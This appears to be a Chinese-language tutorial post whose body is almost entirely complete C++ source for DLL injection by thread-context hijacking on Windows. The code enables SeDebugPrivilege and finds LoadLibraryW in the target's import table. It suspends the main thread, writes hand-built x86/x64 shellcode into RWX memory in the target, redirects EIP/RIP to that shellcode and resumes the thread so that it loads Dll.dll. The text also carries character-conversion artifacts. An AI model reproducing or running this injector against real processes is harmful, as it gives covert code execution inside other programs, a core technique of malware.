首先,通過獲得目标程序Id,再根據與程序Id獲得目标程序的主線程Id,将主線程Id挂起,獲得該線程的背景上下文,将該線程的Eip改為自己的ShellCode,最後恢複線程。
重要的函數順序為:
OpenThread-->SuspendThread-->GetThreadContext-->擷取EIP-->修改EIP-->SetThreadContext-->ResumeThread
#include <windows.h>
#include <iostream>
#include <Winternl.h>
using namespace std;
//提權
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
namespace HOOK
{
typedef struct _SYSTEM_THREAD_INFORMATION
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitches;
ULONG ThreadState;
ULONG WaitReason;
ULONG PadPadAlignment;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize;
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
ULONGLONG CycleTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR UniqueProcessKey;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
SYSTEM_THREAD_INFORMATION Threads[1];
}SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
}
typedef decltype(&NtQueryInformationProcess) LPFN_NTQUERYINFORMATIONPROCESS;
typedef HMODULE (WINAPI *LPFN_LOADLIBRARYW) (LPCWSTR lpwLibFileName);
typedef
NTSTATUS(NTAPI *LPFN_NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
BOOL SeEnableSeDebugPrivilege(IN const WCHAR* PriviledgeName, BOOL IsEnable);
BOOL SeGetPebByProcessID(IN UINT32 ProcessID, OUT PPEB Peb);
BOOL SeGetFunctionAddressInTargetProcessImportTableByFunctionName(IN UINT32 ProcessID,
OUT PVOID* ImportFunctionAddress, IN char* ModuleName,
IN char* FunctionName);
BOOL GetMainThreadIDByProcessID(IN UINT32 ProcessID, OUT PUINT32 MainThreadID);
BOOL SeHookIP(IN UINT32 ProcessID, IN UINT32 MainThreadID);
WCHAR __DllFullPath[MAX_PATH] = { 0 };
LPFN_NTQUERYINFORMATIONPROCESS __NtQueryInformationProcess = NULL;
LPFN_LOADLIBRARYW __LoadLibraryW = NULL;
LPFN_NTQUERYSYSTEMINFORMATION __NtQuerySystemInformation = NULL;
#ifdef _WIN64
UINT8 __ShellCode[0x100] = {
0x48,0x83,0xEC,0x28, // sub rsp ,28h
0x48,0x8D,0x0d, // [+4] lea rcx,
0x00,0x00,0x00,0x00, // [+7] DllFullPathOffset = [+43] - [+4] - 7
// call 跳偏移,到位址,解*号
0xff,0x15, // [+11]
0x00,0x00,0x00,0x00, // [+13] LoadLibraryAddressOffset
0x48,0x83,0xc4,0x28, // [+17] add rsp,28h
// jmp 跳偏移,到位址,解*号
0xff,0x25, // [+21]
0x00,0x00,0x00,0x00, // [+23] Jmp Rip
// 存放原先的 rip
0x00,0x00,0x00,0x00, // [+27]
0x00,0x00,0x00,0x00, // [+31]
// 跳闆 loadlibrary位址
0x00,0x00,0x00,0x00, // [+35]
0x00,0x00,0x00,0x00, // [+39]
// 存放dll完整路徑
// 0x00,0x00,0x00,0x00, // [+43]
// 0x00,0x00,0x00,0x00 // [+47]
// ......
};
#else
UINT8 __ShellCode[0x100] = {
0x60, // [+0] pusha //其入棧順序是:EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI
0x9c, // [+1] pushf
0x68, // [+2] push
0x00,0x00,0x00,0x00, // [+3] 存放DllFullPath的位址
0xff,0x15, // [+7] call
0x00,0x00,0x00,0x00, // [+9] 存放LoadLibrary的位址
0x9d, // [+13] popf
0x61, // [+14] popa
0xff,0x25, // [+15] jmp
0x00,0x00,0x00,0x00, // [+17] 存放eip的位址
//eip
0x00,0x00,0x00,0x00, // [+21]
// LoadLibrary
0x00,0x00,0x00,0x00, // [+25]
// DllFullPath
0x00,0x00,0x00,0x00 // [+29]
};
#endif
int main()
{
if (SeEnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE)
{
return 0;
}
GetCurrentDirectory(MAX_PATH, __DllFullPath);
#ifdef _WIN64
wcscat(__DllFullPath, L"\\Dll.dll");
#else
wcscat(__DllFullPath, L"\\Dll.dll");
#endif
UINT32 ProcessID = 0;
printf("Input Target ProcessID\r\n");
scanf_s("%d", &ProcessID); //scanf_s()
//ShellCode -->目标程序 -->LoadLibrary
BOOL IsOk = FALSE;
IsOk = SeGetFunctionAddressInTargetProcessImportTableByFunctionName(ProcessID,
(PVOID*)&__LoadLibraryW, "Kernel32.dll", "LoadLibraryW");
if (IsOk == FALSE)
{
return 0;
}
//獲得目标程序的主線程 EIP(RIP)
UINT32 MainThreadID = 0;
IsOk = GetMainThreadIDByProcessID(ProcessID, &MainThreadID);
SeHookIP(ProcessID, MainThreadID);
return 0;
}
BOOL SeEnableSeDebugPrivilege(IN const WCHAR* PriviledgeName, BOOL IsEnable)
{
// 打開權限令牌
HANDLE ProcessHandle = GetCurrentProcess();
HANDLE TokenHandle = NULL;
TOKEN_PRIVILEGES TokenPrivileges = { 0 };
if (!OpenProcessToken(ProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
return FALSE;
}
LUID v1;
if (!LookupPrivilegeValue(NULL, PriviledgeName, &v1)) // 通過權限名稱查找uID
{
CloseHandle(TokenHandle);
TokenHandle = NULL;
return FALSE;
}
TokenPrivileges.PrivilegeCount = 1; // 要提升的權限個數
TokenPrivileges.Privileges[0].Attributes = IsEnable == TRUE ? SE_PRIVILEGE_ENABLED : 0; // 動态數組,數組大小根據Count的數目
TokenPrivileges.Privileges[0].Luid = v1;
if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges,
sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
printf("%d\r\n", GetLastError());
CloseHandle(TokenHandle);
TokenHandle = NULL;
return FALSE;
}
CloseHandle(TokenHandle);
TokenHandle = NULL;
return TRUE;
}
//通過LoadLibraryW在目标程序導入表中獲得函數位址
BOOL SeGetFunctionAddressInTargetProcessImportTableByFunctionName(IN UINT32 ProcessID,
OUT PVOID* ImportFunctionAddress, IN char* ModuleName,
IN char* FunctionName)
{
//通過程序Id獲得目标程序Peb
PEB Peb = { 0 };
BOOL IsOk = FALSE;
HANDLE ProcessHandle = NULL;
IsOk = SeGetPebByProcessID(ProcessID, &Peb); //獲得目标程序Peb
if (IsOk == FALSE)
{
goto Exit;
}
//從子產品基位址獲得ImportTable
PVOID ImageBaseAddress = 0;
ImageBaseAddress = (PVOID)Peb.Reserved3[1];
ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessID);
if (ProcessHandle == NULL)
{
IsOk = FALSE;
goto Exit;
}
IMAGE_DOS_HEADER ImageDosHeader = { 0 };
ReadProcessMemory(ProcessHandle, ImageBaseAddress, &ImageDosHeader, sizeof(IMAGE_DOS_HEADER), NULL);
if (ImageDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
IsOk = FALSE;
goto Exit;
}
IMAGE_NT_HEADERS ImageNtHeaders = { 0 };
ReadProcessMemory(ProcessHandle, (PVOID)((PUINT8)ImageBaseAddress + ImageDosHeader.e_lfanew),
&ImageNtHeaders, sizeof(IMAGE_NT_HEADERS), NULL);
if (ImageNtHeaders.Signature != IMAGE_NT_SIGNATURE)
{
IsOk = FALSE;
goto Exit;
}
IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor = { 0 };
DWORD v1 = 0;
v1 = ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
int i = 0;
do
{
ReadProcessMemory(ProcessHandle, (PVOID)(((PIMAGE_IMPORT_DESCRIPTOR)((PUINT8)ImageBaseAddress + v1)) + i),
&ImageImportDescriptor, sizeof(IMAGE_IMPORT_DESCRIPTOR), NULL);
if (ImageImportDescriptor.FirstThunk == 0 && ImageImportDescriptor.OriginalFirstThunk == 0)
{
printf("沒有比對子產品\r\n");
IsOk = FALSE;
goto Exit;
}
char v3[MAX_PATH] = { 0 }; //導入子產品的名稱
SIZE_T ReturnLength = 0;
ReadProcessMemory(ProcessHandle, (PVOID)((PUINT8)ImageBaseAddress + ImageImportDescriptor.Name),
v3, MAX_PATH, &ReturnLength);
if (stricmp(v3, ModuleName) == 0) //與傳參值進行比較
{
int j = 0;
do
{
IMAGE_THUNK_DATA FirstThunkData = { 0 };
IMAGE_THUNK_DATA OrginalThunkData = { 0 };
ReadProcessMemory(ProcessHandle,
(PVOID)(((PIMAGE_THUNK_DATA)((PUINT8)ImageBaseAddress + ImageImportDescriptor.OriginalFirstThunk)) + j),
&OrginalThunkData, sizeof(IMAGE_THUNK_DATA), NULL);
if (IMAGE_SNAP_BY_ORDINAL(OrginalThunkData.u1.Ordinal)) //索引導入
{
j++;
continue;
}
if (OrginalThunkData.u1.AddressOfData == NULL)
{
printf("沒有比對函數\r\n");
IsOk = FALSE;
j++;
continue;
//goto Exit;
}
SIZE_T ReturnLength = 0;
char v5[MAX_PATH];
ReadProcessMemory(ProcessHandle, (PVOID)((PUINT8)ImageBaseAddress + OrginalThunkData.u1.AddressOfData),
&v5, MAX_PATH, &ReturnLength);
printf("%s\r\n", ((PIMAGE_IMPORT_BY_NAME)v5)->Name);
//與傳參的函數名稱進行比較
if (stricmp(((PIMAGE_IMPORT_BY_NAME)v5)->Name, FunctionName) == 0)
{
//擷取函數位址
ReadProcessMemory(ProcessHandle, (PVOID)(((PIMAGE_THUNK_DATA)((PUINT8)ImageBaseAddress + ImageImportDescriptor.FirstThunk)) + j),
&FirstThunkData, sizeof(IMAGE_THUNK_DATA), NULL);
*ImportFunctionAddress = (PVOID)FirstThunkData.u1.Function;
IsOk = TRUE;
goto Exit;
}
j++;
} while (TRUE);
}
i++;
} while (TRUE);
Exit:
if (ProcessHandle != NULL)
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
}
return IsOk;
}
BOOL SeGetPebByProcessID(IN UINT32 ProcessID, OUT PPEB Peb)
{
//目前程序中獲得__NtQueryInformationProcess
HMODULE NtdllModuleBase = NULL;
NtdllModuleBase = GetModuleHandle(L"Ntdll.dll");
if (NtdllModuleBase == NULL)
{
return FALSE;
}
__NtQueryInformationProcess = (LPFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(NtdllModuleBase,
"NtQueryInformationProcess");
if (__NtQueryInformationProcess==NULL)
{
return FALSE;
}
HANDLE ProcessHandle = NULL;
ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessID);
if (ProcessHandle == NULL)
{
return FALSE;
}
NTSTATUS Status;
PROCESS_BASIC_INFORMATION ProcessBasicInfo;
SIZE_T ReturnLength = 0;
Status = __NtQueryInformationProcess(ProcessHandle,
ProcessBasicInformation, &ProcessBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), (ULONG*)&ReturnLength);
if (!NT_SUCCESS(Status))
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
}
//通過ReadProcessMemory 從程序裡面 PebBaseAddress 記憶體資料讀取出來
BOOL IsOk = FALSE;
IsOk = ReadProcessMemory(ProcessHandle, ProcessBasicInfo.PebBaseAddress,
Peb, sizeof(PEB), &ReturnLength);
if (IsOk == FALSE)
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
}
CloseHandle(ProcessHandle);
return TRUE;
}
BOOL GetMainThreadIDByProcessID(IN UINT32 ProcessID, OUT PUINT32 MainThreadID)
{
BOOL IsOk = FALSE;
NTSTATUS Status = 0;
HOOK::PSYSTEM_PROCESS_INFORMATION SystemProcessInfo = NULL;
HMODULE NtdllModuleBase = NULL;
NtdllModuleBase = GetModuleHandle(L"Ntdll.dll");
if (NtdllModuleBase == NULL)
{
return FALSE;
}
__NtQuerySystemInformation = (LPFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(NtdllModuleBase,
"NtQuerySystemInformation");
if (__NtQuerySystemInformation == NULL)
{
return FALSE;
}
PVOID BufferData = NULL;
BufferData = malloc(1024 * 1024);
if (!BufferData)
{
return FALSE;
}
// 在QuerySystemInformation系列函數中,查詢SystemProcessInformation時,必須提前申請好記憶體,不能先查詢得到長度再重新調用
Status = __NtQuerySystemInformation(SystemProcessInformation, BufferData, 1024 * 1024, NULL);
if (!NT_SUCCESS(Status))
{
free(BufferData);
return FALSE;
}
SystemProcessInfo = (HOOK::PSYSTEM_PROCESS_INFORMATION)BufferData;
// 周遊程序
while (TRUE)
{
IsOk = FALSE;
if (SystemProcessInfo->UniqueProcessId == (HANDLE)ProcessID)
{
IsOk = TRUE;
break;
}
else if (SystemProcessInfo->NextEntryOffset)
{
SystemProcessInfo = (HOOK::PSYSTEM_PROCESS_INFORMATION)((PUINT8)SystemProcessInfo + SystemProcessInfo->NextEntryOffset);
}
else
{
break;
}
}
if (IsOk)
{
//查詢主線程
for (INT i = 0; i < SystemProcessInfo->NumberOfThreads; i++)
{
// 執行的不能是目前線程
*MainThreadID = (UINT32)SystemProcessInfo->Threads[i].ClientId.UniqueThread; //主線程ID
break;
}
}
if (BufferData != NULL)
{
free(BufferData);
}
return IsOk;
}
BOOL SeHookIP(IN UINT32 ProcessID, IN UINT32 MainThreadID)
{
//線程上下背景文(記錄着各種寄存器的值)
CONTEXT ThreadContext = { 0 };
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); //向目标程序記憶體空間寫資料
if (ProcessHandle == NULL)
{
return FALSE;
}
//目标程序空間申請記憶體
PVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(__ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (RemoteBufferData != NULL)
{
if (__LoadLibraryW != NULL)
{
#ifdef _WIN64
//建構動态庫完整路徑
PUINT8 v1 = __ShellCode + 43;
memcpy(v1, __DllFullPath, (wcslen(__DllFullPath) + 1) * sizeof(WCHAR));
//lea rcx Offset
UINT32 DllFullPathOffset = (UINT32)(((PUINT8)RemoteBufferData + 43) - ((PUINT8)RemoteBufferData + 4) - 7);
*(PUINT32)(__ShellCode + 7) = DllFullPathOffset;
// ShellCode + 35處 放置 LoadLibrary 函數位址
*(PUINT64)(__ShellCode + 35) = (UINT64)__LoadLibraryW; //目前子產品導入表函數
//ff15 Offset
UINT32 LoadLibraryAddressOffset = (UINT32)(((PUINT8)RemoteBufferData + 35) - ((PUINT8)RemoteBufferData + 11) - 6);
*(PUINT32)(__ShellCode + 13) = LoadLibraryAddressOffset;
//通過主線程ID獲得主線程句柄
HANDLE MainThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, MainThreadID);
if (MainThreadHandle == NULL)
{
VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
CloseHandle(ProcessHandle);
return FALSE;
}
//首先挂起線程獲得該線程的RIP
SuspendThread(MainThreadHandle); //挂起
ThreadContext.ContextFlags = CONTEXT_ALL; //注意獲得線程上下背景文時
if (GetThreadContext(MainThreadHandle, &ThreadContext) == FALSE)
{
VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
CloseHandle(MainThreadHandle);
CloseHandle(ProcessHandle);
return FALSE;
}
//儲存原先RIP
*(PUINT64)(__ShellCode + 27) = ThreadContext.Rip;
//将Ok的ShellCode直接寫入到目标程序空間中
if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, __ShellCode, sizeof(__ShellCode), NULL))
{
VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
CloseHandle(MainThreadHandle);
CloseHandle(ProcessHandle);
return FALSE;
}
//HookIP
ThreadContext.Rip = (UINT64)RemoteBufferData;
#else
PUINT8 v1 = __ShellCode + 29;
memcpy(v1, __DllFullPath, (wcslen(__DllFullPath) + 1) * sizeof(WCHAR)); //将Dll完整路徑存入目标程序空間中
//Push Address
*(PULONG)(__ShellCode + 3) = (ULONG)RemoteBufferData + 29;
*(PULONG)(__ShellCode + 25) = (ULONG)__LoadLibraryW; //目前exe子產品中的導入函數
*(PULONG_PTR)(__ShellCode + 9) = (ULONG_PTR)RemoteBufferData + 25;
HANDLE MainThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, MainThreadID); //通過目标主線程ID獲得主線程句柄
if (MainThreadHandle == NULL)
{
VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
CloseHandle(ProcessHandle);
return FALSE;
}
// 首先挂起線程
SuspendThread(MainThreadHandle); //目标程序中的主線程挂起 EIP
ThreadContext.ContextFlags = CONTEXT_ALL;
if (GetThreadContext(MainThreadHandle, &ThreadContext) == FALSE)
{
VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
CloseHandle(MainThreadHandle);
CloseHandle(ProcessHandle);
return FALSE;
}
*(PULONG_PTR)(__ShellCode + 21) = ThreadContext.Eip;
*(PULONG_PTR)(__ShellCode + 17) = (ULONG_PTR)RemoteBufferData + 21;
if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, __ShellCode, sizeof(__ShellCode), NULL))
{
VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
CloseHandle(MainThreadHandle);
CloseHandle(ProcessHandle);
return FALSE;
}
ThreadContext.Eip = (ULONG_PTR)RemoteBufferData;
#endif
//将線程上下背景文設定回線程中
if (!SetThreadContext(MainThreadHandle, &ThreadContext))
{
VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
CloseHandle(MainThreadHandle);
CloseHandle(ProcessHandle);
return FALSE;
}
//恢複線程繼續執行
ResumeThread(MainThreadHandle);
CloseHandle(MainThreadHandle);
CloseHandle(ProcessHandle);
return TRUE;
}
else
{
VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
CloseHandle(ProcessHandle);
return FALSE;
}
}
else
{
CloseHandle(ProcessHandle);
return FALSE;
}
}